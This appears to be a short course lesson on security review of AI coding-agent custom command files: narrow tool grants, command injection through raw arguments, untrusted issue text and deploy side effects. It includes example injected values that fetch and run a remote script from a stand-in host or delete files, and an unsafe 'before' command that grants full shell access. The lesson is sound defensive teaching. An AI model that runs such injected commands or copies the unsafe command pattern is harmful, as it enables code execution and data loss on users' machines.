Topic 4 of 4 · 5 min read
Keeping powerful commands safe and reviewed
Goal: Review a command definition and find the argument handling or tool grant that lets it run something unintended.
Treat a command file as code that runs with your permissions: grant the narrowest tools, never place raw arguments inside a shell line, and review changes before they merge. A shared command is executed by every teammate, so one careless line reaches everyone.
Check yourself · 1 of 3
Why is a command containing 'git checkout $ARGUMENTS' inside a shell line risky?
Why it matters
A command can run shell, push branches or call a deploy script. The arguments come from whoever types the command, or from text the agent reads, such as an issue body or a branch name. Both can be wrong or hostile. The classic failure is command injection: untrusted text ends up inside a shell command and the shell treats part of it as new commands.
What to check in a review
- Tool grants. Does the front matter allow a broad shell tool, such as any Bash command, where one narrow pattern would do? Prefer
Bash(git diff:*)overBash. - Arguments inside shell lines. If a command runs
git checkout $ARGUMENTSthrough shell injection, a value likemain; curl evil.sh | shmay be run. Tools differ here. Gemini CLI escapes arguments placed inside its shell blocks, and its docs explain this, but you should not rely on that for other tools. - Untrusted content. Text the command pulls in (an issue body, a PR comment, a web page) can contain instructions. Do not let a command that reads outside text also hold push or deploy rights.
- Side effects. Push, deploy, delete and database writes should need a human confirmation step, or be left out of the command entirely.
- Secrets. A command file never contains tokens, and never prints environment values.
- Ownership. Put the commands folder under code review, with a named owner.
Before and after
Before:
---
allowed-tools: Bash
---
Deploy branch $ARGUMENTS: !`./deploy.sh $ARGUMENTS`
Any shell is allowed, and the argument goes straight into a script call. A value with a semicolon runs a second command. It also deploys with no check.
After:
---
description: Prepare a deploy plan (does not deploy)
allowed-tools: Bash(git log:*), Bash(git diff:*), Read
---
Read the changes on branch $ARGUMENTS and write a deploy plan: what changes, risks, rollback.
Branch names must match [a-z0-9/_-]+; if not, stop and say so.
Do not run any deploy script.
The tools are read-only, the argument is validated, and a person runs the deploy.
What goes wrong
- Wide tool grants copied from a tutorial. "Allow all" works on the first try and nobody narrows it later.
- Trusting the argument. Branch names, issue titles and filenames can carry shell characters.
- Reviewing the prompt but not the front matter. The risk sits in the grants, which are easy to skim past.
- Silent edits. A command file changed in a pull request about something else.
Examples
Spotting the injection
A command contains !git checkout $ARGUMENTS``. A teammate runs /switch main; rm -rf build. In a tool that substitutes the text unescaped, the shell sees two commands. The fix is to validate the argument against a pattern before use, or to let the agent run git checkout through a narrowly allowed tool.
A review comment on a command change
"allowed-tools now includes plain Bash. This command only needs git diff and Read. Please narrow it, and add the branch-name check from the old version."
Key points
- A shared command runs with each teammate's permissions, so review it as code.
- Allow the narrowest tool patterns the command needs, not a blanket shell grant.
- Never put a raw argument into a shell line; validate it first, or avoid the shell step.
- Keep read-outside-text and push-or-deploy rights out of the same command.
- Make side effects need a human confirmation, and keep secrets out of command files.
Common mistakes
- Granting a blanket shell tool because it is quicker than writing patterns.
- Placing arguments directly inside a shell command line without validation.
- Letting a command read an issue or web page and also push code.
- Merging command changes without review because they are 'just prompts'.
Check yourself · 2 of 3
A review command only needs to read the diff. Which tool grant fits?
Check yourself · 3 of 3
A command reads the text of a GitHub issue and also has permission to push. What is the main concern?
Practice items, not counted towards your mastery.
Start here
- Custom commands (Gemini CLI docs) (opens in a new tab)DocsFree
Shows TOML command files, the args placeholder, and shell and file injection with escaping.
- Use prompt files in VS Code (opens in a new tab)DocsFree
Reusable prompt files with front matter for description, agent mode, model and tools.
- Custom prompts (Codex docs) (opens in a new tab)DocsFree
How Codex stores reusable prompts as Markdown files and passes arguments into them.
More for this topic
- Command Injection (OWASP) (opens in a new tab)ArticleFree
Explains how untrusted input becomes a shell command, the failure behind unsafe command arguments.